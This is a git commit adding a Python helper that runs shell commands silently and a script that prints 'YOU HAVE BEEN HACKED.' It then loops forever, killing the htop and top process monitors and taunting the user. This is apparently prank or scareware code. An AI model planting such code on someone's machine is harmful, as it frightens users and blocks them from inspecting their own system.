merge command and terminal

This commit is contained in:
jeremy
2020-04-24 21:17:45 +02:00
2 changed files with 19 additions and 2 deletions
+9
View File
@@ -0,0 +1,9 @@
import os
import subprocess
class CommandHelper:
@staticmethod
def run(cmd):
with open(os.devnull, 'wb') as devnull:
return subprocess.call(cmd.split(' '), stdout=devnull, stderr=subprocess.STDOUT)
+10 -2
View File
@@ -1,8 +1,16 @@
#!/usr/bin/env python3
import os
import time
from term_utils import TermUtils
from detect_term import DetectTerm
import time
from command_helper import CommandHelper
print(DetectTerm.find_terminal())
time.sleep(1)
TermUtils.print("YOU HAVE BEEN HACKED.\n")
TermUtils.print("YOU HAVE BEEN HACKED.\n")
while True:
if CommandHelper.run("killall htop") == 0 or CommandHelper.run("killall top") == 0:
TermUtils.print("You tough that this will be as easy as this?\n")
time.sleep(1)